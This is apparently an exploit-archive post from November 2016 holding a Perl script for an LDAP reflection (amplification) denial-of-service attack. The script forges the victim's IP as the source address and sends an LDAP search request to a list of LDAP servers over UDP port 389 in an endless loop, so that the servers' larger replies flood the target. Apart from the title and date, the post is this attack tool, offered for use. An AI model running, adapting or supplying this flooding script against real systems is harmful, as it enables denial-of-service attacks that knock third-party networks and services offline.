LDAP Amplication Denial Of Service
Posted on 05 November 2016
#!/usr/bin/perl # LDAP DRDoS # by ShadowHatesYou use Net::RawIP; @ldapservers = qw( ); if ($ARGV[0] eq '') { print "Use: $0 <IP> "; exit; } my $target = "$ARGV[0]"; my $ldap_searchrequest = "x30x84x00x00x00x2dx02x01x01x63x84x00x00x00x24x04x00x0ax01x00x0ax01x00x02x01x00x02x01x00x01x01x00x87x0bx6fx62x6ax65x63x74x63x6cx61x73x73x30x84x00x00x00x00x00"; my $sock = new Net::RawIP({udp=>{}}); while () { for (my $i=0; $i < @ldapservers; $i++) { $sock->set({ip => {saddr => $target, daddr => $ldapservers[$i]},udp => {source => 389,dest => 389, data=>$ldap_searchrequest} }); $sock->send; } }